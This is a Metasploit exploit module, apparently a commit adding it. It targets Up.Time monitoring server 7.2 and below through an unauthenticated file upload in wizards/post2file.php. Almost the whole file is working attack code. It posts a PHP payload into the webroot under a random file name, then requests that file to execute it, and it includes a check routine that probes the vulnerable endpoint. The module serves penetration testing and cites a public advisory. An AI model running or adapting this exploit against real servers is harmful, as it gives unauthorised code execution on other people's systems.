Added uptime_file_upload exploit module
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Up.Time Monitoring post2file.php Arbitrary File Upload',
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'Description' => %q{
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This module exploits an arbitrary file upload vulnerability found within the Up.Time monitoring server
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7.2 and below. A malicious entity can upload a PHP file into the webroot without authentication, leading
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to arbitrary code execution.
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},
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'Author' =>
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[
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'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Up.Time 7.2', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 19 2013'))
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register_options([ OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),], self.class)
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end
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def check
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uri = target_uri.path
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
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})
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if not res or res.code != 200
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return Exploit::CheckCode::Unknown
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end
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return Exploit::CheckCode::Appears
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end
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def exploit
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print_status("#{peer} - Uploading PHP to Up.Time server")
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uri = target_uri.path
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peer = "#{rhost}:#{rport}"
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@payload_name = "#{rand_text_alpha(5)}.php"
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php_payload = get_write_exec_payload(:unlink_self=>true)
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data = Rex::MIME::Message.new
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post_data = "file_name=#{@payload_name}&script=#{php_payload}"
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print_status("#{peer} - Uploading payload #{@payload_name}")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
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'data' => post_data,
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'headers' => {
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'Content-Type' => 'application/x-www-form-urlencoded'
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}
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})
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if not res or res.code != 200
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fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
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end
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print_status("#{peer} - Executing payload #{@payload_name}")
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res = send_request_cgi({
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'uri' => normalize_uri(uri, 'wizards', @payload_name),
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'method' => 'GET'
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})
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end
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end
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